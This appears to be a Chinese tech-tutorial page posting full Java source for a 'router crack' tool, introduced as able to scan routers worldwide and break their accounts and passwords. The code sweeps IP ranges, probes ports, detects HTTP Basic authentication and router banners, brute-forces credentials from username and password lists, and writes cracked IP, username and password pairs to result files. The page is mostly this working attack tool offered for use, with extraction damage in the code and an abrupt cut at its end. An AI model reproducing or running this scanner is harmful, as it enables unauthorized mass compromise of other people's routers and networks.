首页 / JAVA / 路由器扫描的Java源码
路由器扫描的Java源码
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了路由器扫描的Java源码，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含32061字，纯文字阅读大概需要46分钟。
内容图文
这个源码不是本人写的，是我原来的领导写的，我们都叫他东哥，这个是东留给我的一个小资源，好佩服他哦，这个东西可以用来扫描全世界的路由器，破解路由器账户和密码
当然是简单的了。我能力不够没有更完善的补充下。希望有能力的人做成界面形式，帮忙完善下。
1.java代码：
package
cn.com.cisec.routercrack;
import
java.io.BufferedInputStream;
import
java.io.FileInputStream;
import
java.io.InputStream;
import
java.util.ArrayList;
import
java.util.List;
import
java.util.Properties;
public
class
App {
private
static String tag = App.class.getSimpleName();
/**
* ping超时时间
*/publicstaticint pingTimeout = 5000;
/**
* socket链接超时时间
*/publicstaticint socketTimeout =5000;
/**
* http请求超时时间
*/publicstaticint httpTimeout =5000;
/**
* 线程数量
*/publicstaticint threadCount =100;
publicstatic List<Integer> ports ;
publicstatic List<String> routerInfo ;
publicstaticvoid main(String[] args) {
//MainFrame.createAndShowGUI();
start();//开始执行破解线程 }
/**
* 开始破解
*/publicstaticvoid start(){
initConfig();
List<Thread> list = new ArrayList<Thread>();
for (int i = 0; i < threadCount; i++) {
Thread t =new CrackThread(pingTimeout,socketTimeout,httpTimeout,ports,routerInfo);
list.add(t);
t.start();
}
//等待线程执行完毕for(Thread t : list){
try {
t.join();
} catch (InterruptedException e) {
// TODO Auto-generated catch block e.printStackTrace();
}
}
// new CrackThread().start();
//线程执行结束需要关闭打开的文件 CrackThread.writer.close();
LogUtil.i(tag, "程序结束");
}
/**
* 初始化配置文件
*/publicstaticvoid initConfig(){
Properties p = null;
try {
InputStream in = new BufferedInputStream(new FileInputStream(FileUtil.getConfigFile()));
p = new Properties();
p.load(in);
threadCount = Integer.parseInt(p.getProperty("threadCount","5000").trim());
pingTimeout = Integer.parseInt(p.getProperty("pingTimeout","5000").trim());
socketTimeout = Integer.parseInt(p.getProperty("socketTimeout","5000").trim());
httpTimeout = Integer.parseInt(p.getProperty("httpTimeout","5000").trim());
String portsString = p.getProperty("ports", "80").trim();
String[] portArray = portsString.split(",");
ports=new ArrayList<Integer>();
for(String portSting:portArray){
ports.add(Integer.parseInt(portSting));
}
String routerInfoString = p.getProperty("routerInfo","route,Router,TD").trim();
String[] routerInfoArray = routerInfoString.split(",");
routerInfo = new ArrayList<String>();
for(String routerStr:routerInfoArray){
routerInfo.add(routerStr);
}
} catch (Exception e) {
//e.printStackTrace();
LogUtil.i(tag, "读取配置文件失败,使用默认配置");
//System.exit(0);
ports=new ArrayList<Integer>();
ports.add(80);
routerInfo = new ArrayList<String>();
routerInfo.add("router");
}
}
}
package
cn.com.cisec.routercrack;
import
java.io.BufferedReader;
import
java.io.File;
import
java.io.FileNotFoundException;
import
java.io.FileReader;
import
java.io.IOException;
public
class
ConfigFileReader {
private
static String tag =ConfigFileReader.class.getSimpleName();
/**
*用户名配置文件
*/private BufferedReader userReader;
/**
* 密码配置文件
*/private BufferedReader passwordReader;
public ConfigFileReader(){
File userConfigFile =FileUtil.getUserConfigFile();
File passwordConfigFile = FileUtil.getPasswordConfigFile();
try {
userReader = new BufferedReader(new FileReader(userConfigFile));
passwordReader = new BufferedReader(new FileReader(passwordConfigFile));
} catch (FileNotFoundException e) {
LogUtil.i(tag, "用户名或密码配置文件没有找到，请检查config目录下是否存在配置文件");
e.printStackTrace();
}
}
/**
* 获取用户名
*
* @return 如果为null则读取结束
*/public String getUser(){
String user=null;
try {
user = userReader.readLine();
if(user==null){
userReader.close();
}
} catch (IOException e) {
e.printStackTrace();
}
return user;
}
/**
* 获取密码
*
* @return 如果为null则读取结束
*/public String getPassword(){
String password=null;
try {
password = passwordReader.readLine();
if(password==null){
passwordReader.close();
}
} catch (IOException e) {
// TODO Auto-generated catch block e.printStackTrace();
}
return password;
}
publicvoid close(){
try {
passwordReader.close();
userReader.close();
} catch (IOException e) {
// TODO Auto-generated catch block e.printStackTrace();
}
}
}
package
cn.com.cisec.routercrack;
import
java.io.IOException;
import
java.net.InetAddress;
import
java.net.InetSocketAddress;
import
java.net.Socket;
import
java.net.SocketAddress;
import
java.net.UnknownHostException;
import
java.util.HashMap;
import
java.util.List;
import
java.util.Map;
import
java.util.concurrent.TimeUnit;
import
org.apache.commons.codec.binary.Base64;
import
org.apache.http.Header;
import
org.apache.http.HttpResponse;
import
org.apache.http.client.ClientProtocolException;
import
org.apache.http.client.HttpClient;
import
org.apache.http.client.methods.HttpGet;
import
org.apache.http.impl.client.HttpClientBuilder;
import
org.apache.http.impl.conn.BasicHttpClientConnectionManager;
public
class CrackThread extends Thread {
privatestatic String tag = CrackThread.class.getSimpleName();
privatestaticint count = 0;
privateboolean isStop = false;
/**
* 记录是哪个线程
*/privateint who;
privatestatic IpFactory ipFactory = IpFactory.getInstance();
publicstatic ResultFileWriter writer = ResultFileWriter.getInstance();
/**
* ping测试的超时时间
*/privateint pingTimeout;
/**
* socket链接测试的超时时间
*/privateint socketTimeout;
/**
* 是路由器的标示
*/public List<String> routerInfo ;
/**
* http请求超时时间
*/privateint httpTimeout;
/**
* 需要扫描的端口号
*/public List<Integer> ports ;
public CrackThread(int pingTimeout, int socketTimeout, int httpTimeout,List<Integer> ports,List<String> routerInfo) {
count++;
who = count;
this.pingTimeout=pingTimeout;
this.socketTimeout=socketTimeout;
this.ports=ports;
this.routerInfo =routerInfo;
this.httpTimeout=httpTimeout;
}
@Override
publicvoid run() {
while (!isStop) {
String ip = ipFactory.getIp();
if (ip == null) {
isStop = true;
} else {
//LogUtil.i("CrackThread" + who,"获取ip地址："+ ip);boolean isPingOk =isAddressAvailable(ip);
if(isPingOk){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"可达");
writer.writeActivateIp(ip);
//测试端口是否可达for(int port:ports){
boolean isPortOk = isPortAvailable(ip,port);
if(isPortOk){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"开启");
writer.writeOpenPortInfo(ip,port);
Map<String,Object> basicInfo =getBasicInfo(ip,port);
boolean isBasic = (boolean) basicInfo.get(IS_BASIC);
if(isBasic){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式");
writer.writeBasicInfo(ip,port);
String headInfo = (String) basicInfo.get(WWW_AUTHENTICATE);//获得头信息boolean isRouter =false;
for(String info:routerInfo){
if(headInfo.contains(info)){
isRouter=true;
break;
}
}
if(isRouter){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式且是路由器");
writer.writeRouterInfo(ip, port);
}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式不是路由器");
}
Map<String,Object> crackResultInfo = crackBasic(ip, port);
boolean isCrackOk = (boolean) crackResultInfo.get(IS_CRACK_OK);
if(isCrackOk){
String user = (String) crackResultInfo.get(USERNAME_OK);
String password = (String) crackResultInfo.get(PASSWORD_OK);
if(isRouter){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式且是路由器,破解成功用户名："+user+",密码："+password);
writer.writeRouterOkInfo(ip, port,user, password);
}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式,破解成功用户名："+user+",密码："+password);
writer.writeBasicOkInfo(ip, port,user, password,headInfo);
}
}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式,破解失败");
}
}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"不是Basic认证方式");
}
/*boolean isBasic = isBasic(ip,port);
if(isBasic){
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"是Basic认证方式");
writer.writeBasicInfo(ip,port);
}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的端口"+port+"不是Basic认证方式");
}*/
}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"的"+"端口"+port+"未开启");
}
}
}else{
LogUtil.i("CrackThread" + who,"ip地址："+ ip+"不可达");
}
}
/*
* try { sleep(3000); } catch (InterruptedException e) { // TODO
* Auto-generated catch block e.printStackTrace(); }
*/
}
}
/**
* basic反馈的信息长量
*/privatestaticfinal String IS_BASIC="isBasic";
/**
* 反馈的头信息
*/privatestaticfinal String WWW_AUTHENTICATE="WWW-Authenticate";
/**
* basic状态码
*/privatestaticfinalint BASIC_STATUSCODE=401;
/**
* 获取basic的相关信息
* @param ip
* @param port
* @return 返回的map对象包含是否basic认证key=isBasic，basic认证的头部信息等key=WWW-Authenticate
*/public Map<String,Object> getBasicInfo(String ip,int port){
Map<String, Object> result = new HashMap<String, Object>();
HttpClientBuilder builder = HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client = builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
try {
HttpResponse response = client.execute(httpGet);
LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");
if(BASIC_STATUSCODE==response.getStatusLine().getStatusCode()){
result.put(IS_BASIC, true);
Header[] hs = response.getHeaders(WWW_AUTHENTICATE);
for(Header h:hs){
String headInfo = h.getValue();//服务器反馈的WWW_AUTHENTICATE头信息
//LogUtil.d(tag,headInfo);
//String[] infos = headInfo.split("\"");/*for(String i:infos){
LogUtil.d(tag,i);
}*/
result.put(WWW_AUTHENTICATE, headInfo);
}
}else{
result.put(IS_BASIC, false);
}
} catch (Exception e) {
//e.printStackTrace();
result.put(IS_BASIC, false);
}
return result;
}
/**
* 认证basic的头
*/privatestaticfinal String AUTHORIZATION="Authorization";
/**
* 是否破解成功
*/privatestaticfinal String IS_CRACK_OK="is_crack_ok";
privatestaticfinal String USERNAME_OK ="user";
privatestaticfinal String PASSWORD_OK="password";
/**
* 对basic进行破解，成功反馈相关信息
* @param ip
* @param port
* @return*/public Map<String,Object> crackBasic(String ip,int port){
ConfigFileReader reader = new ConfigFileReader();
boolean userReadOk =false;
while(!userReadOk){
String user = reader.getUser();
if(user!=null){
boolean passwordReadOk=false;
while(!passwordReadOk){
String password = reader.getPassword();
if(password!=null){
HttpClientBuilder builder = HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client = builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
String value=user+":"+password;
value = Base64.encodeBase64String(value.getBytes());
value="Basic "+value;
LogUtil.d(tag, value);
httpGet.setHeader(AUTHORIZATION, value);
//Authorization:"Basic YWRtaW46MTIzcXdlMTIz"try {
HttpResponse response = client.execute(httpGet);
if(response.getStatusLine().getStatusCode()==200){
Map<String,Object> result = new HashMap<String, Object>();
result.put(IS_CRACK_OK, true);
result.put(USERNAME_OK,user);
result.put(PASSWORD_OK, password);
return result;
}
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block e.printStackTrace();
}
}else{
passwordReadOk=true;
}
}
}else{
userReadOk=true;
}
}
Map<String,Object> result = new HashMap<String, Object>();
result.put(IS_CRACK_OK, false);
return result;
}
/**
* 判断是否basic认证
* @param ip
* @param port
* @return*/publicboolean isBasic(String ip,int port){
int basicStatusCode=401;
HttpClientBuilder builder = HttpClientBuilder.create();
BasicHttpClientConnectionManager connManager = new BasicHttpClientConnectionManager() ;
connManager.closeIdleConnections(httpTimeout, TimeUnit.MICROSECONDS);
builder.setConnectionManager(connManager);
HttpClient client = builder.build();
HttpGet httpGet = new HttpGet("http://"+ip+":"+port);
try {
HttpResponse response = client.execute(httpGet);
LogUtil.d(tag,response.getStatusLine().getStatusCode()+"");
if(basicStatusCode==response.getStatusLine().getStatusCode()){
returntrue;
}
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block e.printStackTrace();
}
returnfalse;
}
/**
* ip地址是否可达
* @param ip
* @return*/publicboolean isAddressAvailable(String ip) {
try {
InetAddress address = InetAddress.getByName(ip);
return address.isReachable(App.pingTimeout);
} catch (UnknownHostException e) {
// TODO Auto-generated catch block e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block e.printStackTrace();
}
returnfalse;
}
/**
* 端口是否开启
* @param ip
* @param port
* @return*/publicboolean isPortAvailable(String ip,int port){
Socket socket = new Socket();
SocketAddress endpoint;
try {
endpoint = new InetSocketAddress(InetAddress.getByName(ip), port);
socket.connect(endpoint,App.socketTimeout);
socket.close();
returntrue;
} catch (Exception e) {
//e.printStackTrace();returnfalse;
}
}
}
package
cn.com.cisec.routercrack;
import
java.io.File;
import
java.net.URL;
import
java.util.ArrayList;
import
java.util.List;
public
class
FileUtil {
/**
* syslog应用程序被打包成为jar包发布。在syslog服务中，需要在jar文件位置创建临时文件夹，以保存数据。
* 临时文件夹：1 读文件中，ftp到中央日志服务的文件，被放到临时文件夹后再读。
* 2 分析会后的日志，保存一个月。如果选择了备份，则把每天需要备份的文件移动到一个临时备份文件夹。
* 逻辑：如果getDirFromClassLoader()方法计算不出来path，就取System.getProperty("user.dir")用户工作目录
*
*/
public
static
String getJarDir(){
String path = getDirFromClassLoader();
if(path == null){
path = System.getProperty("user.dir");
}
return path;
}
/**
* 从通过Class Loading计算路径：
* 1 class文件通过jar包加载：
* 如果为jar包，该包为d:/test/myProj.jar
* 该方法返回d:/test这个目录（不受用户工作目录影响）
* 提示：在jar包加载 的时候，通过指定加载FileUtil的class资源得到jar:<url>!/{entry}计算出加载路径
* 2 class文件直接被加载：
* 如果是web工程,class文件放在D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF\classes
* 该方法返回D:\tools\apache-tomcat-5.5.27\webapps\webProj\WEB-INF
* 即返回放class文件夹的上一层目录。
* */privatestatic String getDirFromClassLoader(){
try {
String path = FileUtil.class.getName().replace(".", "/");
path ="/"+path+".class";
URL url=FileUtil.class.getResource(path);
String jarUrl= url.getPath();
if(jarUrl.startsWith("file:")){
if(jarUrl.length()>5){
jarUrl = jarUrl.substring(5);
}
jarUrl = jarUrl.split("!")[0];
}else{
jarUrl = FileUtil.class.getResource("/").toString().substring(5);
}
File file = new File(jarUrl);
return file.getParent();
} catch (Exception e) {
}
returnnull;
}
/**
* 找出指定目录及其子目录下，满足指定后缀的文件的绝对路径。
* 提示：方法中出现异常被内部捕获。
* @param dir 指定目录
* @param suffix 文件名后缀
*
* @throws IllegalArgumentException
* */publicstatic List<String> find(String dir,String suffix){
List<String> list = new ArrayList<String>();
try {
File file = new File(dir);
if(file.exists() && file.isDirectory()){
find(file, suffix, list);
}else{
thrownew IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dir);
}
} catch (Exception e) {
e.getMessage();
}
return list;
}
/**
* 递归遍历，查找满足后缀的文件
* @param dirFile 必须为一个存在的目录.不能为null
* @param suffix
* @param list 递归遍历目录记录满足后缀的文件的绝对路径。
* */privatestaticvoid find(File dirFile,String suffix,List<String> list){
if(dirFile.exists() && dirFile.isDirectory()){
File[] subFiles = dirFile.listFiles();
for(File subFile : subFiles) {
if(subFile.isDirectory()){
find(subFile, suffix, list);
}else{
String path = subFile.getAbsolutePath();
if(path.endsWith(suffix)){
list.add(path);
}
}
}
}else{
thrownew IllegalArgumentException("param \"dir\" must be an existing directory .dir = "+dirFile.getAbsolutePath());
}
}
/**
* 获得IP地址配置文件
* @return*/publicstatic File getIpConfigFile(){
returnnew File(getJarDir()+"/config/","ips.txt");
}
/**
* 获得用户名配置文件
* @return*/publicstatic File getUserConfigFile(){
returnnew File(getJarDir()+"/config/","users.txt");
}
/**
* 获得密码配置文件
* @return*/publicstatic File getPasswordConfigFile(){
returnnew File(getJarDir()+"/config/","passwords.txt");
}
/**
* 记录ping成功的ip
* @return*/publicstatic File getActivateIpsFile(){
returnnew File(getJarDir()+"/result/","activityIps.txt");
}
/**
* 记录打开端口的ip
* @return*/publicstatic File getOpenPortIpsFile(){
returnnew File(getJarDir()+"/result/","openPortInfos.txt");
}
/**
* 记录是basic认证的ip
* @return*/publicstatic File getBasicIpsFile(){
returnnew File(getJarDir()+"/result/","basicInfos.txt");
}
/**
* 记录basic认证破解成功的ip 用户名和密码
* @return*/publicstatic File getBasicOkFile(){
returnnew File(getJarDir()+"/result/","basicOkInfos.txt");
}
/**
* 记录是basic认证但是路由的信息
* @return*/publicstatic File getRouterFile(){
returnnew File(getJarDir()+"/result/","routerInfos.txt");
}
/**
* 记录是basic认证是路由破解成功的信息
* @return*/publicstatic File getRouterOkFile(){
returnnew File(getJarDir()+"/result/","routerOkInfos.txt");
}
publicstatic File getConfigFile(){
returnnew File(getJarDir()+"/config/","config.properties");
}
}
package
cn.com.cisec.routercrack;
import
java.io.BufferedReader;
import
java.io.File;
import
java.io.FileNotFoundException;
import
java.io.FileReader;
import
java.io.IOException;
import
java.util.ArrayList;
import
java.util.List;
import
java.util.regex.Matcher;
import
java.util.regex.Pattern;
public
class
IpFactory {
/**
* IP地址配置文件路径
*/
private
File ipsFile;
/**
* 是否需要读取文件
*/
private
boolean isRead=true;
privatelong minIpValue;
privatelong maxIpValue;
privatelong currentIPValue;
privatestatic IpFactory factory=null;
/**
* 读取Ip地址配置文件
*/private BufferedReader reader;
private IpFactory(){
ipsFile = FileUtil.getIpConfigFile();
try {
reader = new BufferedReader(new FileReader(ipsFile));
} catch (FileNotFoundException e) {
LogUtil.i("IpFactory","错误：IP地址配置文件没有找到！");
System.exit(0);
}
}
/**
* 获取工厂实例
* @return*/publicstatic IpFactory getInstance(){
if(factory==null){
factory = new IpFactory();
}
return factory;
}
/**
* 加载IP配置文件中的数据到内存中
* @return 如果加载完成返回false 否则为true
*/privateboolean loadIps(){
try {
String net = reader.readLine();
if(net==null){
//reader.close();returnfalse;
}else{
//读取到的内容不为NULL
net.replace(" ", "");
if(IpUtil.isNet(net)){
String ip =net.substring(0, net.lastIndexOf("/"));
int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));
minIpValue = IpUtil.getMinIpValue(ip, mask);
maxIpValue = IpUtil.getMaxIpValue(ip, mask);
currentIPValue=minIpValue;
//设置是否需要读取
isRead=false;
returntrue;
}elseif(IpUtil.isNetRange(net)){
String[] ipArray = net.split("-");
long tmpMin = IpUtil.getIpValue(ipArray[0]);
long tmpMax =IpUtil.getIpValue(ipArray[1]);
if(tmpMax>tmpMin){
maxIpValue=tmpMax;
minIpValue=tmpMin;
currentIPValue=minIpValue;
}else{
maxIpValue=tmpMin;
minIpValue=tmpMax;
currentIPValue=tmpMax;
}
isRead=false;
returntrue;
}else{
//不是网络地址，从新读取return loadIps();
}
}
} catch (IOException e) {
LogUtil.i("IpFactory.loadIps()", "错误：无法读取IP地址配置文件！");
//System.exit(0);returnfalse;
}
}
/**
* 提供给线程获取IP地址
* @return 返回null则读取完成
*/publicsynchronized String getIp(){
if(isRead){
//是否需要读取ipif(!loadIps()){
//读取完成returnnull;
}
}
if(currentIPValue>=minIpValue&¤tIPValue<=maxIpValue){
String ip =IpUtil.valueToIp(currentIPValue);
currentIPValue++;
return ip;
}else{
isRead=true;
return getIp();
}
}
}
package
cn.com.cisec.routercrack;
import
java.util.StringTokenizer;
import
java.util.logging.LogManager;
import
java.util.regex.Matcher;
import
java.util.regex.Pattern;
public
class
IpUtil {
/**
* 获得实际的掩码的值
*
*
@param
mask
*
@return
*/
public
static
long getMaskValue(int mask) {
return ((long) Math.pow(2, mask) - 1) << (32 - mask);
}
/**
* 获得掩码的反码的值
*
* @param mask
* @return*/publicstaticlong getUnMaskValue(int mask) {
return (long) (Math.pow(2, 32 - mask) - 1);
}
/**
* 根据IP地址获得它对应的值
*
* @param ipAddress
* @return*/publicstaticlong getIpValue(String ipAddress) {
StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");
int a = Integer.parseInt(tokenizer.nextToken());
int b = Integer.parseInt(tokenizer.nextToken());
int c = Integer.parseInt(tokenizer.nextToken());
int d = Integer.parseInt(tokenizer.nextToken());
// System.out.println(a+"."+b+"."+c+"."+d);
LogUtil.d("IpUtil.getIpValue", "转换的IP地址:" + a + "." + b + "." + c + "."
+ d);
long value = 0;
value = ((long) a) << 24;
value += ((long) b) << 16;
value += ((long) c) << 8;
value += d;
LogUtil.d("IpUtil.getIpValue", "ip地在转换后的值：" + value);
return value;
}
/**
* 根据IP地址和掩码获得网络地址的值
*
* @param ipAddress
* @param mask
* @return*/publicstaticlong getNetValue(String ipAddress, int mask) {
long ipValue = getIpValue(ipAddress);
long maskValue = getMaskValue(mask);
//System.out.println("========================="+ipValue);
//System.out.println("============================"+maskValue);
//System.out.println("========="+(ipValue & maskValue));return ipValue & maskValue;
}
/**
* 获得最小的IP地址的值
*
* @param ipAddress
* @param mask
* @return*/publicstaticlong getMinIpValue(String ipAddress, int mask) {
if (mask >= 0 && mask <= 32) {
if (isIp(ipAddress)) {
//return getNetValue(ipAddress, mask) + 1;return getNetValue(ipAddress, mask);
} else {
new IllegalArgumentException("错误：Ip格式不正确");
}
} else {
new IllegalArgumentException("错误：掩码应该大于等于0小于等于32");
}
return -1;
}
/**
* 获得最大的IP的值
*
* @param ipAddress
* @param mask
* @return*/publicstaticlong getMaxIpValue(String ipAddress, int mask) {
if (mask >= 0 && mask <= 32) {
if (isIp(ipAddress)) {
//System.out.println("===="+getNetValue(ipAddress, mask));
//System.out.println("===="+getUnMaskValue(mask));
//return getNetValue(ipAddress, mask)+getUnMaskValue(mask)-1 ;return getNetValue(ipAddress, mask)+getUnMaskValue(mask);
} else {
new IllegalArgumentException("错误：Ip格式不正确");
}
} else {
new IllegalArgumentException("错误：掩码应该大于等于0小于等于32");
}
return -1;
}
/**
* 判断是否为IP地址
*
* @param ipAddress
* @return*/publicstaticboolean isIp(String ipAddress) {
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(ipAddress);
if(m.matches()){
StringTokenizer tokenizer = new StringTokenizer(ipAddress, ".");
int a = Integer.parseInt(tokenizer.nextToken());
int b = Integer.parseInt(tokenizer.nextToken());
int c = Integer.parseInt(tokenizer.nextToken());
int d = Integer.parseInt(tokenizer.nextToken());
if(a>0&&a<=255&&b>=0&&b<=255&&c>=0&&c<=255&&d>=0&&d<=255){
returntrue;
}else{
returnfalse;
}
}else{
returnfalse;
}
}
/**
* 判断是否网络
* @param net
* @return*/publicstaticboolean isNet(String net){
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\/\\d{1,2}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(net);
if(m.matches()){
String ip =net.substring(0, net.lastIndexOf("/"));
LogUtil.d("IpUtil.isNet()", "ip地址："+ip);
if(isIp(ip)){
int mask = Integer.parseInt(net.substring(net.lastIndexOf("/")+1));
if(mask>=0&&mask<=32){
returntrue;
}else{
returnfalse;
}
}else{
returnfalse;
}
}else{
returnfalse;
}
}
/**
* 是网络范围192.168.1.1-192.168.1.254
* @param net
* @return*/publicstaticboolean isNetRange(String net) {
String regex = "^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\-\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$";
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(net);
if(m.matches()){
String[] ipArray = net.split("-");
if(isIp(ipArray[0])&&isIp(ipArray[1])){
returntrue;
}else{
returnfalse;
}
}else{
returnfalse;
}
}
/**
* long转换为IP地址
* @param value
* @return*/publicstatic String valueToIp(long value) {
long maxValue = 4294967295L;
if (value > maxValue) {
new IllegalArgumentException("错误：超出最大的值");
returnnull;
} else {
long a, b, c, d;
a = (long) (value & 0x00000000ff000000) >> 24;
b = (long) (value & 0x0000000000ff0000) >> 16;
c = (long) (value & 0x000000000000ff00) >> 8;
d = (long) (value & 0x00000000000000ff);
return a + "." + b + "." + c + "." + d;
}
}
}
package
cn.com.cisec.routercrack;
public
class
LogUtil {
/**
* 调试信息
*
@param
tag
*
@param
msg
*/
public
static
void
d(String tag,String msg){
//
System.out.println(tag+"====>>"+msg);
}
/**
* 输出信息
*
@param
tag
*
@param
msg
*/
public
static
void
i(String tag,String msg){
System.out.println(tag+"====>>"+msg);
}
}
package
cn.com.cisec.routercrack;
import
java.awt.BorderLayout;
import
java.awt.Dimension;
import
java.awt.Toolkit;
import
java.awt.event.ActionEvent;
import
java.awt.event.ActionListener;
import
javax.swing.GroupLayout;
import
javax.swing.GroupLayout.Alignment;
import
javax.swing.JFrame;
import
javax.swing.JLabel;
import
javax.swing.JPanel;
import
javax.swing.JTextField;
public
class MainFrame extends JFrame implements ActionListener {
/**
*
*/privatestaticfinallong serialVersionUID = 765875537593801454L;
public MainFrame() {
super("路由破解");
int frameWidth=800;//窗口宽度int frameHeight=600;//窗口高度
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
setBounds((screenSize.width-frameWidth)/2, (screenSize.height-frameHeight)/2,frameWidth,frameHeight);//显示在屏幕中间
//主窗口布局
BorderLayout layout = new BorderLayout();
JPanel contentPanel = new JPanel();
contentPanel.setLayout(layout);
//配置窗口
JPanel configPanel = new JPanel();
JLabel label1= new JLabel("test1");
JLabel label2 = new JLabel("test2");
JTextField tf1=new JTextField();
JTextField tf2 = new JTextField();
GroupLayout configPanelLayout = new GroupLayout(configPanel);
configPanel.setLayout(configPanelLayout);
// Turn on automatically adding gaps between components
configPanelLayout.setAutoCreateGaps(true);
// Turn on automatically creating gaps between components that touch
// the edge of the container and the container.
configPanelLayout.setAutoCreateContainerGaps(true);
// Create a sequential group for the horizontal axis.
GroupLayout.SequentialGroup hGroup = configPanelLayout.createSequentialGroup();
// The sequential group in turn contains two parallel groups.
// One parallel group contains the labels, the other the text fields.
// Putting the labels in a parallel group along the horizontal axis
// positions them at the same x location.
//// Variable indentation is used to reinforce the level of grouping. hGroup.addGroup(configPanelLayout.createParallelGroup().
addComponent(label1).addComponent(label2));
hGroup.addGroup(configPanelLayout.createParallelGroup().
addComponent(tf1).addComponent(tf2));
configPanelLayout.setHorizontalGroup(hGroup);
// Create a sequential group for the vertical axis.
GroupLayout.SequentialGroup vGroup = configPanelLayout.createSequentialGroup();
// The sequential group contains two parallel groups that align
// the contents along the baseline. The first parallel group contains
// the first label and text field, and the second parallel group contains
// the second label and text field. By using a sequential group
// the labels and text fields are positioned vertically after one another. vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).
addComponent(label1).addComponent(tf1));
vGroup.addGroup(configPanelLayout.createParallelGroup(Alignment.BASELINE).
addComponent(label2).addComponent(tf2));
configPanelLayout.setVerticalGroup(vGroup);
JPanel resultPanel = new JPanel();
contentPanel.add(configPanel, BorderLayout.CENTER);
contentPanel.add(resultPanel, BorderLayout.SOUTH);
setContentPane(contentPanel);
}
//React to menu selections.publicvoid actionPerformed(ActionEvent e) {
if ("new".equals(e.getActionCommand())) { //new
// createFrame();
} else { //quit quit();
}
}
protectedvoid quit() {
System.exit(0);
}
publicstaticvoid createAndShowGUI() {
MainFrame frame = new MainFrame();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setVisible(true);
}
}
package
cn.com.cisec.routercrack;
import
java.io.File;
import
java.io.FileWriter;
import
java.io.IOException;
import
java.io.PrintWriter;
public
class
ResultFileWriter {
private
static
ResultFileWriter resultFileWriter;
/**
* 激活的ip
*/
private
PrintWriter activateIpsWriter;
/**
* 端口开启
*/
private
PrintWriter openPortInfoWriter;
/**
* 是basic认证的IP地址
*/
private
PrintWriter basicInfoWriter;
/**
* 破解basic成功的信息
*/
private
PrintWriter basicOkInfoWriter;
private
PrintWriter routerInfoWriter;
private
PrintWriter routerOkInfoWriter;
private
ResultFileWriter(){
File activateIpsFile = FileUtil.getActivateIpsFile();
File openPortIpsFile = FileUtil.getOpenPortIpsFile();
File basicIpsFile = FileUtil.getBasicIpsFile();
File basicOkInfoFile = FileUtil.getBasicOkFile();
try {
activateIpsWriter= new PrintWriter(new FileWriter(activateIpsFile));
openPortInfoWriter = new PrintWriter(new FileWriter(openPortIpsFile));
basicInfoWriter = new PrintWriter(new FileWriter(basicIpsFile));
basicOkInfoWriter = new PrintWriter(new FileWriter(basicOkInfoFile));
routerInfoWriter = new PrintWriter(new FileWriter(FileUtil.getRouterFile()));
routerOkInfoWriter = new PrintWriter(new FileWriter(FileUtil.getRouterOkFile()));
} catch (IOException e) {
// TODO Auto-generated catch block e.printStackTrace();
}
}
publicstatic ResultFileWriter getInstance(){
if(resultFileWriter==null){
resultFileWriter = new ResultFileWriter();
}
return resultFileWriter;
}
publicsynchronizedvoid writeActivateIp(String ip){
activateIpsWriter.println(ip);
activateIpsWriter.flush();
}
publicsynchronizedvoid writeOpenPortInfo(String ip,int port){
openPortInfoWriter.println(ip+","+port);
openPortInfoWriter.flush();
}
publicsynchronizedvoid writeBasicInfo(String ip,int port){
basicInfoWriter.println(ip+","+port);
basicInfoWriter.flush();
}
publicsynchronizedvoid writeBasicOkInfo(String ip,int port,String user,String password){
basicOkInfoWriter.println("ip="+ip+",port="+port+",username="+user+",password="+password);
basicOkInfoWriter.flush();
}
publicsynchronizedvoid writeRouterInfo(String ip,int port){
routerInfoWriter.println(ip+","+port);
routerInfoWriter.flush();
}
publicsynchronizedvoid writeRouterOkInfo(String ip,int port,String user,String password){
